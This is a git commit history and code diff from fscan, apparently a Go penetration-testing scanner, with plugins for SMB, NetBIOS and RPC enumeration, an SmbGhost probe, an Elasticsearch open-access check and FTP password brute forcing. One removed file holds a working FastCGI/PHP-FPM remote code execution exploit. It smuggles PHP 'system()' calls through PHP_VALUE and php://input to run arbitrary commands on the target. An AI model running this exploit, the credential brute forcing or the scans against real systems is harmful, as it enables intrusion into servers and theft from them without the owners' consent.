41 Commits
Author SHA1 Message Date
shadow1ng 7742b1f35b 已加入yaml解析引擎,支持xray的Poc,默认使用所有Poc(已对xray的poc进行了筛选),可以使用-pocname weblogic,只使用某种或某个poc。需要go版本1.16以上,只能自行编译最新版go来进行测试 2020-12-12 13:58:02 +08:00
shadow1ng c27eccbcc9 Merge remote-tracking branch 'origin/main' into main
# Conflicts:
#	README.md
2020-12-06 10:51:53 +08:00
shadow1ng 90b848a3dc 优化icmp模块,新增-domain 参数(用于smb爆破模块,适用于域用户) 2020-12-06 10:50:47 +08:00
shadow1ng 767fff84ed 优化icmp模块,新增-domain 参数(用于smb爆破模块,适用于域用户) 2020-12-06 10:50:40 +08:00
shadow1ng b4fb1efb3a 优化icmp模块 2020-12-05 16:57:01 +08:00
影舞者 c4d1cd950a Update README.md 2020-12-03 23:24:21 +08:00
shadow1ng 818102a814 优化ip段处理模块、端口扫描模块。 2020-12-03 23:20:39 +08:00
shadow1ng b00a5d4403 优化参数处理 2020-12-03 17:02:21 +08:00
shadow1ng f638d3a1e2 优化ip段处理模块,新增支持192.168.1.1-192.168.255.255 2020-12-03 16:00:40 +08:00
shadow1ng 8ca4d2c89a 优化ip段处理模块,新增支持192.168.1.1-192.168.255.255 2020-12-03 15:55:29 +08:00
shadow1ng 13a3cacd93 mac下修改ping所需的bash路径,改为/bin/bash。(原为/usr/local/bin/bash),并把超时参数由-w 改为-W。 2020-11-17 16:04:56 +08:00
shadow1ng 3282f4abcb Merge remote-tracking branch 'origin/main' into main 2020-11-17 15:49:33 +08:00
shadow1ng 0cff8351ac 修改mac下ping所需的bash路径,改为/bin/bash。(原为/usr/local/bin/bash) 2020-11-17 15:48:53 +08:00
影舞者 cd29281e72 Update README.md 2020-11-17 14:31:38 +08:00
shadow1ng db028ba0cc 增加-ping 参数,作用是存活探测模块用ping代替icmp发包。 2020-11-17 14:27:15 +08:00
shadow1ng 2026b5f587 新增shiro识别 2020-11-17 13:23:58 +08:00
shadow1ng ce657e22a9 新增shiro识别 2020-11-17 13:22:49 +08:00
shadow1ng d96b0c0ad0 update 2020-11-17 13:16:05 +08:00
shadow1ng a33ed4cfeb update 2020-11-17 13:15:08 +08:00
影舞者 30c1f267c2 Delete fscan 2020-11-17 11:26:33 +08:00
影舞者 faae9c7870 Merge pull request #4 from v1xingyue/main
如下简单代码修改 方便编译
1.使用 go mod 创建项目
2.使用 import 绝对路径,代替 相对路径
推荐编译命令,生成的文件更小
go build -ldflags="-s -w " -trimpath -gcflags=-trimpath=$GOPATH -asmflags=-trimpath=$GOPATH
2020-11-17 11:25:29 +08:00
v1xingyue 57349aab7b 1. 使用 go mod 创建项目
2. 使用 import 绝对路径,代替 相对路径
2020-11-17 10:35:27 +08:00
shadow1ng 33121ead42 update 2020-11-17 00:27:23 +08:00
shadow1ng 12f9e6ed62 update 2020-11-17 00:22:57 +08:00
shadow1ng 1a8b884d63 update icmp threads 2020-11-16 19:55:11 +08:00
shadow1ng 468c2a0ff9 update icmp threads 2020-11-16 19:55:00 +08:00
shadow1ng f8285de94d update 2020-11-16 13:17:59 +08:00
shadow1ng 8dc8b6e652 update 2020-11-16 09:51:41 +08:00
shadow1ng a1900086d6 update 2020-11-15 23:36:53 +08:00
shadow1ng a829660205 update 2020-11-15 22:21:52 +08:00
shadow1ng 2343fc1cfb update 2020-11-15 22:19:44 +08:00
shadow1ng 43d41844a9 update 2020-11-15 22:19:01 +08:00
shadow1ng cdbd1aebc2 update 2020-11-15 22:17:57 +08:00
shadow1ng 38fc6dd0c3 update 2020-11-14 10:07:44 +08:00
shadow1ng f8b4273fc0 update 2020-11-14 00:29:26 +08:00
shadow1ng 5032544bbb update 2020-11-14 00:28:12 +08:00
shadow1ng f89feaf89f update 2020-11-14 00:27:55 +08:00
shadow1ng 58ae604eea update 2020-11-13 23:57:38 +08:00
shadow1ng 83700540f5 update 2020-11-13 23:13:12 +08:00
shadow1ng 1598de6ce0 update 2020-11-13 23:10:08 +08:00
影舞者 8d1b44e82b Initial commit 2020-11-13 23:05:55 +08:00
187 changed files with 964 additions and 6631 deletions
+22 -23
View File
@@ -4,6 +4,7 @@ import (
"bytes" "bytes"
"fmt" "fmt"
"net" "net"
"sync"
"time" "time"
"github.com/shadow1ng/fscan/common" "github.com/shadow1ng/fscan/common"
@@ -95,33 +96,31 @@ const (
"\x00\x00\x00\x00" "\x00\x00\x00\x00"
) )
func SmbGhost(info *common.HostInfo) error { func SmbGhost(info *common.HostInfo, ch chan int, wg *sync.WaitGroup) {
err := SmbGhostScan(info) SmbGhostScan(info)
return err wg.Done()
<-ch
} }
func SmbGhostScan(info *common.HostInfo) error { func SmbGhostScan(info *common.HostInfo) {
ip, port, timeout := info.Host, 445, time.Duration(info.Timeout)*time.Second ip, port, timeout := info.Host, 445, time.Duration(info.Timeout)*time.Second
addr := fmt.Sprintf("%s:%v", info.Host, port) addr := fmt.Sprintf("%s:%d", info.Host, port)
conn, err := net.DialTimeout("tcp", addr, timeout) conn, err := net.DialTimeout("tcp", addr, timeout)
if err != nil { if err != nil {
return err return
} else {
conn.Write([]byte(pkt))
buff := make([]byte, 1024)
err = conn.SetReadDeadline(time.Now().Add(timeout))
n, err := conn.Read(buff)
if err != nil {
return
} else {
defer conn.Close()
if bytes.Contains([]byte(buff[:n]), []byte("Public")) == true {
result := fmt.Sprintf("%v CVE-2020-0796 SmbGhost Vulnerable", ip)
common.LogSuccess(result)
}
}
} }
_, err = conn.Write([]byte(pkt))
if err != nil {
return err
}
buff := make([]byte, 1024)
err = conn.SetReadDeadline(time.Now().Add(timeout))
n, err := conn.Read(buff)
if err != nil {
return err
}
defer conn.Close()
if bytes.Contains(buff[:n], []byte("Public")) == true {
result := fmt.Sprintf("[+] %v CVE-2020-0796 SmbGhost Vulnerable", ip)
common.LogSuccess(result)
}
return err
} }
-281
View File
@@ -1,281 +0,0 @@
package Plugins
import (
"bytes"
"fmt"
"github.com/shadow1ng/fscan/common"
"net"
"strconv"
"strings"
"time"
)
var (
UNIQUE_NAMES = map[string]string{
"\x00": "Workstation Service",
"\x03": "Messenger Service",
"\x06": "RAS Server Service",
"\x1F": "NetDDE Service",
"\x20": "Server Service",
"\x21": "RAS Client Service",
"\xBE": "Network Monitor Agent",
"\xBF": "Network Monitor Application",
"\x1D": "Master Browser",
"\x1B": "Domain Master Browser",
}
GROUP_NAMES = map[string]string{
"\x00": "Domain Name",
"\x1C": "Domain Controllers",
"\x1E": "Browser Service Elections",
}
NetBIOS_ITEM_TYPE = map[string]string{
"\x01\x00": "NetBIOS computer name",
"\x02\x00": "NetBIOS domain name",
"\x03\x00": "DNS computer name",
"\x04\x00": "DNS domain name",
"\x05\x00": "DNS tree name",
"\x07\x00": "Time stamp",
}
)
type NbnsName struct {
unique string
group string
msg string
osversion string
}
func NetBIOS(info *common.HostInfo) error {
nbname, err := NetBIOS1(info)
var msg, isdc string
if strings.Contains(nbname.msg, "Domain Controllers") {
isdc = "[+]DC"
}
msg += fmt.Sprintf("[*] %-15s%-5s %s\\%-15s %s", info.Host, isdc, nbname.group, nbname.unique, nbname.osversion)
if info.Scantype == "netbios" {
msg += "\n-------------------------------------------\n" + nbname.msg
}
if len(nbname.group) > 0 || len(nbname.unique) > 0 {
common.LogSuccess(msg)
}
return err
}
func NetBIOS1(info *common.HostInfo) (nbname NbnsName, err error) {
nbname, err = GetNbnsname(info)
var payload0 []byte
if err == nil {
name := netbiosEncode(nbname.unique)
payload0 = append(payload0, []byte("\x81\x00\x00D ")...)
payload0 = append(payload0, name...)
payload0 = append(payload0, []byte("\x00 EOENEBFACACACACACACACACACACACACA\x00")...)
}
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
conn, err := net.DialTimeout("tcp", realhost, time.Duration(info.Timeout)*time.Second)
if err != nil {
return
}
err = conn.SetDeadline(time.Now().Add(time.Duration(info.Timeout) * time.Second))
if err != nil {
return
}
defer conn.Close()
if info.Ports == "139" && len(payload0) > 0 {
_, err1 := conn.Write(payload0)
if err1 != nil {
return
}
_, err1 = readbytes(conn)
if err1 != nil {
return
}
}
payload1 := []byte("\x00\x00\x00\x85\xff\x53\x4d\x42\x72\x00\x00\x00\x00\x18\x53\xc8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xfe\x00\x00\x00\x00\x00\x62\x00\x02\x50\x43\x20\x4e\x45\x54\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c\x4d\x20\x30\x2e\x31\x32\x00")
payload2 := []byte("\x00\x00\x01\x0a\xff\x53\x4d\x42\x73\x00\x00\x00\x00\x18\x07\xc8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xfe\x00\x00\x40\x00\x0c\xff\x00\x0a\x01\x04\x41\x32\x00\x00\x00\x00\x00\x00\x00\x4a\x00\x00\x00\x00\x00\xd4\x00\x00\xa0\xcf\x00\x60\x48\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x3e\x30\x3c\xa0\x0e\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a\xa2\x2a\x04\x28\x4e\x54\x4c\x4d\x53\x53\x50\x00\x01\x00\x00\x00\x07\x82\x08\xa2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x02\xce\x0e\x00\x00\x00\x0f\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x65\x00\x72\x00\x20\x00\x32\x00\x30\x00\x30\x00\x33\x00\x20\x00\x33\x00\x37\x00\x39\x00\x30\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x69\x00\x63\x00\x65\x00\x20\x00\x50\x00\x61\x00\x63\x00\x6b\x00\x20\x00\x32\x00\x00\x00\x00\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x65\x00\x72\x00\x20\x00\x32\x00\x30\x00\x30\x00\x33\x00\x20\x00\x35\x00\x2e\x00\x32\x00\x00\x00\x00\x00")
_, err = conn.Write(payload1)
if err != nil {
return
}
_, err = readbytes(conn)
if err != nil {
return
}
_, err = conn.Write(payload2)
if err != nil {
return
}
ret, err := readbytes(conn)
if err != nil || len(ret) < 45 {
return
}
num1, err := bytetoint(ret[43:44][0])
if err != nil {
return
}
num2, err := bytetoint(ret[44:45][0])
if err != nil {
return
}
length := num1 + num2*256
if len(ret) < 48+length {
return
}
os_version := ret[47+length:]
tmp1 := bytes.ReplaceAll(os_version, []byte{0x00, 0x00}, []byte{124})
tmp1 = bytes.ReplaceAll(tmp1, []byte{0x00}, []byte{})
msg1 := string(tmp1[:len(tmp1)-1])
nbname.osversion = msg1
index1 := strings.Index(msg1, "|")
if index1 > 0 {
nbname.osversion = nbname.osversion[:index1]
}
nbname.msg += "-------------------------------------------\n"
nbname.msg += msg1 + "\n"
start := bytes.Index(ret, []byte("NTLMSSP"))
if len(ret) < start+45 {
return
}
num1, err = bytetoint(ret[start+40 : start+41][0])
if err != nil {
return
}
num2, err = bytetoint(ret[start+41 : start+42][0])
if err != nil {
return
}
length = num1 + num2*256
num1, err = bytetoint(ret[start+44 : start+45][0])
if err != nil {
return
}
offset, err := bytetoint(ret[start+44 : start+45][0])
if err != nil || len(ret) < start+offset+length {
return
}
index := start + offset
for index < start+offset+length {
item_type := ret[index : index+2]
num1, err = bytetoint(ret[index+2 : index+3][0])
if err != nil {
return
}
num2, err = bytetoint(ret[index+3 : index+4][0])
if err != nil {
return
}
item_length := num1 + num2*256
item_content := bytes.ReplaceAll(ret[index+4:index+4+item_length], []byte{0x00}, []byte{})
index += 4 + item_length
if string(item_type) == "\x07\x00" {
//Time stamp, 暂时不想处理
} else if NetBIOS_ITEM_TYPE[string(item_type)] != "" {
nbname.msg += fmt.Sprintf("%-22s: %s\n", NetBIOS_ITEM_TYPE[string(item_type)], string(item_content))
} else if string(item_type) == "\x00\x00" {
break
} else {
nbname.msg += fmt.Sprintf("Unknown: %s\n", string(item_content))
}
}
return nbname, err
}
func GetNbnsname(info *common.HostInfo) (nbname NbnsName, err error) {
senddata1 := []byte{102, 102, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 32, 67, 75, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 0, 0, 33, 0, 1}
realhost := fmt.Sprintf("%s:%v", info.Host, 137)
conn, err := net.DialTimeout("udp", realhost, time.Duration(info.Timeout)*time.Second)
if err != nil {
return
}
err = conn.SetDeadline(time.Now().Add(time.Duration(info.Timeout) * time.Second))
if err != nil {
return
}
defer conn.Close()
_, err = conn.Write(senddata1)
if err != nil {
return
}
text, err := readbytes(conn)
if err != nil {
return
}
if len(text) < 57 {
return nbname, fmt.Errorf("no names available")
}
num, err := bytetoint(text[56:57][0])
if err != nil {
return
}
data := text[57:]
var msg string
for i := 0; i < num; i++ {
if len(data) < 18*i+16 {
break
}
name := string(data[18*i : 18*i+15])
flag_bit := data[18*i+15 : 18*i+16]
if GROUP_NAMES[string(flag_bit)] != "" && string(flag_bit) != "\x00" {
msg += fmt.Sprintf("%s G %s\n", name, GROUP_NAMES[string(flag_bit)])
} else if UNIQUE_NAMES[string(flag_bit)] != "" && string(flag_bit) != "\x00" {
msg += fmt.Sprintf("%s U %s\n", name, UNIQUE_NAMES[string(flag_bit)])
} else if string(flag_bit) == "\x00" || len(data) >= 18*i+18 {
name_flags := data[18*i+16 : 18*i+18][0]
if name_flags >= 128 {
nbname.group = strings.Replace(name, " ", "", -1)
msg += fmt.Sprintf("%s G %s\n", name, GROUP_NAMES[string(flag_bit)])
} else {
nbname.unique = strings.Replace(name, " ", "", -1)
msg += fmt.Sprintf("%s U %s\n", name, UNIQUE_NAMES[string(flag_bit)])
}
} else {
msg += fmt.Sprintf("%s \n", name)
}
}
nbname.msg += msg
return
}
func readbytes(conn net.Conn) (result []byte, err error) {
buf := make([]byte, 4096)
for {
count, err := conn.Read(buf)
if err != nil {
break
}
result = append(result, buf[0:count]...)
if count < 4096 {
break
}
}
return result, err
}
func bytetoint(text byte) (int, error) {
num1 := fmt.Sprintf("%v", text)
num, err := strconv.Atoi(num1)
return num, err
}
func netbiosEncode(name string) (output []byte) {
var names []int
src := fmt.Sprintf("%-16s", name)
for _, a := range src {
char_ord := int(a)
high_4_bits := char_ord >> 4
low_4_bits := char_ord & 0x0f
names = append(names, high_4_bits, low_4_bits)
}
for _, one := range names {
out := (one + 0x41)
output = append(output, byte(out))
}
return
}
+12 -13
View File
@@ -1,19 +1,18 @@
package Plugins package Plugins
var PluginList = map[string]interface{}{ var PluginList = map[string]interface{}{
"21": FtpScan, "21": FtpScan,
"22": SshScan, "22": SshScan,
"135": Findnet, "135": Findnet,
"139": NetBIOS, "445": SmbScan,
"445": SmbScan, "1433":MssqlScan,
"1433": MssqlScan, "3306": MysqlScan,
"3306": MysqlScan, "5432": PostgresScan,
"5432": PostgresScan, "6379": RedisScan,
"6379": RedisScan, "9200":elasticsearchScan,
"9000": FcgiScan, "11211":MemcachedScan,
"11211": MemcachedScan, "27017":MongodbScan,
"27017": MongodbScan,
"1000001": MS17010, "1000001": MS17010,
"1000002": SmbGhost, "1000002": SmbGhost,
"1000003": WebTitle, "1000003":WebTitle,
} }
+54
View File
@@ -0,0 +1,54 @@
package Plugins
import (
"fmt"
"io/ioutil"
"net"
"net/http"
"strings"
"sync"
"time"
"github.com/shadow1ng/fscan/common"
)
func elasticsearchScan(info *common.HostInfo, ch chan int, wg *sync.WaitGroup) {
geturl2(info)
wg.Done()
<-ch
}
func geturl2(info *common.HostInfo) (flag bool, err error) {
flag = false
url := fmt.Sprintf("%s:%d/_cat", info.Url, common.PORTList["elastic"])
var client = &http.Client{
Transport: &http.Transport{
DialContext: (&net.Dialer{
Timeout: time.Duration(info.Timeout) * time.Second,
}).DialContext,
},
CheckRedirect: func(req *http.Request, via []*http.Request) error {
return http.ErrUseLastResponse
},
}
res, err := http.NewRequest("GET", url, nil)
if err == nil {
res.Header.Add("User-agent", "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36")
res.Header.Add("Accept", "*/*")
res.Header.Add("Accept-Language", "zh-CN,zh;q=0.9")
res.Header.Add("Accept-Encoding", "gzip, deflate")
res.Header.Add("Connection", "close")
resp, err := client.Do(res)
if err == nil {
defer resp.Body.Close()
body, _ := ioutil.ReadAll(resp.Body)
if strings.Contains(string(body), "/_cat/master") {
result := fmt.Sprintf("Elastic:%s unauthorized", url)
common.LogSuccess(result)
flag = true
}
}
}
return flag, err
}
-365
View File
@@ -1,365 +0,0 @@
package Plugins
import (
"bufio"
"bytes"
"encoding/binary"
"errors"
"fmt"
"github.com/shadow1ng/fscan/common"
"io"
"net"
"strconv"
"strings"
"sync"
"time"
)
//links
//https://xz.aliyun.com/t/9544
//https://github.com/wofeiwo/webcgi-exploits
func FcgiScan(info *common.HostInfo) {
url := "/etc/issue"
if info.Path != "" {
url = info.Path
}
addr := fmt.Sprintf("%v:%v", info.Host, info.Ports)
var reqParams string
var cutLine = "-----ASDGTasdkk361363s-----\n"
switch {
case info.Command == "read":
reqParams = ""
case info.Command != "":
reqParams = "<?php system('" + info.Command + "');die('" + cutLine + "');?>"
default:
reqParams = "<?php system('whoami');die('" + cutLine + "');?>"
}
env := make(map[string]string)
env["SCRIPT_FILENAME"] = url
env["DOCUMENT_ROOT"] = "/"
env["SERVER_SOFTWARE"] = "go / fcgiclient "
env["REMOTE_ADDR"] = "127.0.0.1"
env["SERVER_PROTOCOL"] = "HTTP/1.1"
if len(reqParams) != 0 {
env["CONTENT_LENGTH"] = strconv.Itoa(len(reqParams))
env["REQUEST_METHOD"] = "POST"
env["PHP_VALUE"] = "allow_url_include = On\ndisable_functions = \nauto_prepend_file = php://input"
} else {
env["REQUEST_METHOD"] = "GET"
}
fcgi, err := New(addr, info.Timeout)
if err != nil {
errlog := fmt.Sprintf("[-] fcgi %v:%v %v", info.Host, info.Ports, err)
common.LogError(errlog)
return
}
stdout, stderr, err := fcgi.Request(env, reqParams)
if err != nil {
errlog := fmt.Sprintf("[-] fcgi %v:%v %v", info.Host, info.Ports, err)
common.LogError(errlog)
return
}
//1
//Content-type: text/html
//
//uid=1001(www) gid=1001(www) groups=1001(www)
//2
//Status: 404 Not Found
//Content-type: text/html
//
//File not found.
//Primary script unknown
//3
//Status: 403 Forbidden
//Content-type: text/html
//
//Access denied.
//Access to the script '/etc/passwd' has been denied (see security.limit_extensions)
var result string
var output = string(stdout)
if strings.Contains(string(stdout), cutLine) { //命令成功回显
output = strings.SplitN(string(stdout), cutLine, 2)[0]
if len(stderr) > 0 {
result = fmt.Sprintf("[+] FCGI:%v:%v \n%vstderr:%v\nplesa try other path,as -path /www/wwwroot/index.php", info.Host, info.Ports, output, string(stderr))
} else {
result = fmt.Sprintf("[+] FCGI:%v:%v \n%v", info.Host, info.Ports, output)
}
common.LogSuccess(result)
} else if strings.Contains(string(stdout), "File not found") || strings.Contains(string(stdout), "Content-type") || strings.Contains(string(stdout), "Status") {
if len(stderr) > 0 {
result = fmt.Sprintf("[+] FCGI:%v:%v \n%vstderr:%v\nplesa try other path,as -path /www/wwwroot/index.php", info.Host, info.Ports, string(stdout), string(stderr))
} else {
result = fmt.Sprintf("[+] FCGI:%v:%v \n%v", info.Host, info.Ports, string(stdout))
}
common.LogSuccess(result)
}
}
// for padding so we don't have to allocate all the time
// not synchronized because we don't care what the contents are
var pad [maxPad]byte
const (
FCGI_BEGIN_REQUEST uint8 = iota + 1
FCGI_ABORT_REQUEST
FCGI_END_REQUEST
FCGI_PARAMS
FCGI_STDIN
FCGI_STDOUT
FCGI_STDERR
)
const (
FCGI_RESPONDER uint8 = iota + 1
)
const (
maxWrite = 6553500 // maximum record body
maxPad = 255
)
type header struct {
Version uint8
Type uint8
Id uint16
ContentLength uint16
PaddingLength uint8
Reserved uint8
}
func (h *header) init(recType uint8, reqId uint16, contentLength int) {
h.Version = 1
h.Type = recType
h.Id = reqId
h.ContentLength = uint16(contentLength)
h.PaddingLength = uint8(-contentLength & 7)
}
type record struct {
h header
buf [maxWrite + maxPad]byte
}
func (rec *record) read(r io.Reader) (err error) {
if err = binary.Read(r, binary.BigEndian, &rec.h); err != nil {
return err
}
if rec.h.Version != 1 {
return errors.New("fcgi: invalid header version")
}
n := int(rec.h.ContentLength) + int(rec.h.PaddingLength)
if _, err = io.ReadFull(r, rec.buf[:n]); err != nil {
return err
}
return nil
}
func (r *record) content() []byte {
return r.buf[:r.h.ContentLength]
}
type FCGIClient struct {
mutex sync.Mutex
rwc io.ReadWriteCloser
h header
buf bytes.Buffer
keepAlive bool
}
func New(addr string, timeout int64) (fcgi *FCGIClient, err error) {
conn, err := net.DialTimeout("tcp", addr, time.Duration(timeout)*time.Second)
fcgi = &FCGIClient{
rwc: conn,
keepAlive: false,
}
return
}
func (this *FCGIClient) writeRecord(recType uint8, reqId uint16, content []byte) (err error) {
this.mutex.Lock()
defer this.mutex.Unlock()
this.buf.Reset()
this.h.init(recType, reqId, len(content))
if err := binary.Write(&this.buf, binary.BigEndian, this.h); err != nil {
return err
}
if _, err := this.buf.Write(content); err != nil {
return err
}
if _, err := this.buf.Write(pad[:this.h.PaddingLength]); err != nil {
return err
}
_, err = this.rwc.Write(this.buf.Bytes())
return err
}
func (this *FCGIClient) writeBeginRequest(reqId uint16, role uint16, flags uint8) error {
b := [8]byte{byte(role >> 8), byte(role), flags}
return this.writeRecord(FCGI_BEGIN_REQUEST, reqId, b[:])
}
func (this *FCGIClient) writeEndRequest(reqId uint16, appStatus int, protocolStatus uint8) error {
b := make([]byte, 8)
binary.BigEndian.PutUint32(b, uint32(appStatus))
b[4] = protocolStatus
return this.writeRecord(FCGI_END_REQUEST, reqId, b)
}
func (this *FCGIClient) writePairs(recType uint8, reqId uint16, pairs map[string]string) error {
w := newWriter(this, recType, reqId)
b := make([]byte, 8)
for k, v := range pairs {
n := encodeSize(b, uint32(len(k)))
n += encodeSize(b[n:], uint32(len(v)))
if _, err := w.Write(b[:n]); err != nil {
return err
}
if _, err := w.WriteString(k); err != nil {
return err
}
if _, err := w.WriteString(v); err != nil {
return err
}
}
w.Close()
return nil
}
func readSize(s []byte) (uint32, int) {
if len(s) == 0 {
return 0, 0
}
size, n := uint32(s[0]), 1
if size&(1<<7) != 0 {
if len(s) < 4 {
return 0, 0
}
n = 4
size = binary.BigEndian.Uint32(s)
size &^= 1 << 31
}
return size, n
}
func readString(s []byte, size uint32) string {
if size > uint32(len(s)) {
return ""
}
return string(s[:size])
}
func encodeSize(b []byte, size uint32) int {
if size > 127 {
size |= 1 << 31
binary.BigEndian.PutUint32(b, size)
return 4
}
b[0] = byte(size)
return 1
}
// bufWriter encapsulates bufio.Writer but also closes the underlying stream when
// Closed.
type bufWriter struct {
closer io.Closer
*bufio.Writer
}
func (w *bufWriter) Close() error {
if err := w.Writer.Flush(); err != nil {
w.closer.Close()
return err
}
return w.closer.Close()
}
func newWriter(c *FCGIClient, recType uint8, reqId uint16) *bufWriter {
s := &streamWriter{c: c, recType: recType, reqId: reqId}
w := bufio.NewWriterSize(s, maxWrite)
return &bufWriter{s, w}
}
// streamWriter abstracts out the separation of a stream into discrete records.
// It only writes maxWrite bytes at a time.
type streamWriter struct {
c *FCGIClient
recType uint8
reqId uint16
}
func (w *streamWriter) Write(p []byte) (int, error) {
nn := 0
for len(p) > 0 {
n := len(p)
if n > maxWrite {
n = maxWrite
}
if err := w.c.writeRecord(w.recType, w.reqId, p[:n]); err != nil {
return nn, err
}
nn += n
p = p[n:]
}
return nn, nil
}
func (w *streamWriter) Close() error {
// send empty record to close the stream
return w.c.writeRecord(w.recType, w.reqId, nil)
}
func (this *FCGIClient) Request(env map[string]string, reqStr string) (retout []byte, reterr []byte, err error) {
var reqId uint16 = 1
defer this.rwc.Close()
err = this.writeBeginRequest(reqId, uint16(FCGI_RESPONDER), 0)
if err != nil {
return
}
err = this.writePairs(FCGI_PARAMS, reqId, env)
if err != nil {
return
}
if len(reqStr) > 0 {
err = this.writeRecord(FCGI_STDIN, reqId, []byte(reqStr))
if err != nil {
return
}
}
rec := &record{}
var err1 error
// recive untill EOF or FCGI_END_REQUEST
for {
err1 = rec.read(this.rwc)
if err1 != nil {
if err1 != io.EOF {
err = err1
}
break
}
switch {
case rec.h.Type == FCGI_STDOUT:
retout = append(retout, rec.content()...)
case rec.h.Type == FCGI_STDERR:
reterr = append(reterr, rec.content()...)
case rec.h.Type == FCGI_END_REQUEST:
fallthrough
default:
break
}
}
return
}
+27 -33
View File
@@ -2,68 +2,63 @@ package Plugins
import ( import (
"bytes" "bytes"
"encoding/hex"
"fmt"
"github.com/shadow1ng/fscan/common"
"net" "net"
"strings" "strings"
"time" "time"
//"encoding/binary"
"encoding/hex"
"fmt"
"sync"
"github.com/shadow1ng/fscan/common"
) )
var ( var (
bufferV1, _ = hex.DecodeString("05000b03100000004800000001000000b810b810000000000100000000000100c4fefc9960521b10bbcb00aa0021347a00000000045d888aeb1cc9119fe808002b10486002000000") buffer_v1, _ = hex.DecodeString("05000b03100000004800000001000000b810b810000000000100000000000100c4fefc9960521b10bbcb00aa0021347a00000000045d888aeb1cc9119fe808002b10486002000000")
bufferV2, _ = hex.DecodeString("050000031000000018000000010000000000000000000500") buffer_v2, _ = hex.DecodeString("050000031000000018000000010000000000000000000500")
bufferV3, _ = hex.DecodeString("0900ffff0000") buffer_v3, _ = hex.DecodeString("0900ffff0000")
) )
func Findnet(info *common.HostInfo) error { func Findnet(info *common.HostInfo, ch chan int, wg *sync.WaitGroup) {
err := FindnetScan(info) FindnetScan(info)
return err wg.Done()
<-ch
} }
func FindnetScan(info *common.HostInfo) error { func FindnetScan(info *common.HostInfo) {
realhost := fmt.Sprintf("%s:%v", info.Host, 135) realhost := fmt.Sprintf("%s:%d", info.Host, 135)
conn, err := net.DialTimeout("tcp", realhost, time.Duration(info.Timeout)*time.Second) conn, err := net.DialTimeout("tcp", realhost, time.Duration(info.Timeout)*time.Second)
if err != nil { if err != nil {
return err return
}
err = conn.SetDeadline(time.Now().Add(time.Duration(info.Timeout) * time.Second))
if err != nil {
return err
} }
conn.SetDeadline(time.Now().Add(time.Duration(info.Timeout) * time.Second))
defer conn.Close() defer conn.Close()
_, err = conn.Write(bufferV1) conn.Write(buffer_v1)
if err != nil {
return err
}
reply := make([]byte, 4096) reply := make([]byte, 4096)
_, err = conn.Read(reply) _, err = conn.Read(reply)
if err != nil { if err != nil {
return err return
}
_, err = conn.Write(bufferV2)
if err != nil {
return err
} }
conn.Write(buffer_v2)
if n, err := conn.Read(reply); err != nil || n < 42 { if n, err := conn.Read(reply); err != nil || n < 42 {
return err return
} }
text := reply[42:] text := reply[42:]
flag := true flag := true
for i := 0; i < len(text)-5; i++ { for i := 0; i < len(text)-5; i++ {
if bytes.Equal(text[i:i+6], bufferV3) { if bytes.Equal(text[i:i+6], buffer_v3) {
text = text[:i-4] text = text[:i-4]
flag = false flag = false
break break
} }
} }
if flag { if flag {
return err return
} }
err = read(text, info.Host) read(text, info.Host)
return err
} }
func read(text []byte, host string) error { func read(text []byte, host string) {
encodedStr := hex.EncodeToString(text) encodedStr := hex.EncodeToString(text)
hostnames := strings.Replace(encodedStr, "0700", "", -1) hostnames := strings.Replace(encodedStr, "0700", "", -1)
hostname := strings.Split(hostnames, "000000") hostname := strings.Split(hostnames, "000000")
@@ -72,10 +67,9 @@ func read(text []byte, host string) error {
hostname[i] = strings.Replace(hostname[i], "00", "", -1) hostname[i] = strings.Replace(hostname[i], "00", "", -1)
host, err := hex.DecodeString(hostname[i]) host, err := hex.DecodeString(hostname[i])
if err != nil { if err != nil {
return err return
} }
result += "\n [->]" + string(host) result += "\n [->]" + string(host)
} }
common.LogSuccess(result) common.LogSuccess(result)
return nil
} }
+14 -48
View File
@@ -2,74 +2,40 @@ package Plugins
import ( import (
"fmt" "fmt"
"strings"
"sync"
"time"
"github.com/jlaffaye/ftp" "github.com/jlaffaye/ftp"
"github.com/shadow1ng/fscan/common" "github.com/shadow1ng/fscan/common"
"strings"
"time"
) )
func FtpScan(info *common.HostInfo) (tmperr error) { func FtpScan(info *common.HostInfo, ch chan int, wg *sync.WaitGroup) {
starttime := time.Now().Unix() Loop:
flag, err := FtpConn(info, "anonymous", "")
if flag == true && err == nil {
return err
} else {
errlog := fmt.Sprintf("[-] ftp://%v:%v %v %v", info.Host, info.Ports, "anonymous", err)
common.LogError(errlog)
tmperr = err
if common.CheckErrs(err) {
return err
}
}
for _, user := range common.Userdict["ftp"] { for _, user := range common.Userdict["ftp"] {
for _, pass := range common.Passwords { for _, pass := range common.Passwords {
pass = strings.Replace(pass, "{user}", user, -1) pass = strings.Replace(pass, "{user}", string(user), -1)
flag, err := FtpConn(info, user, pass) flag, err := FtpConn(info, user, pass)
if flag == true && err == nil { if flag == true && err == nil {
return err break Loop
} else {
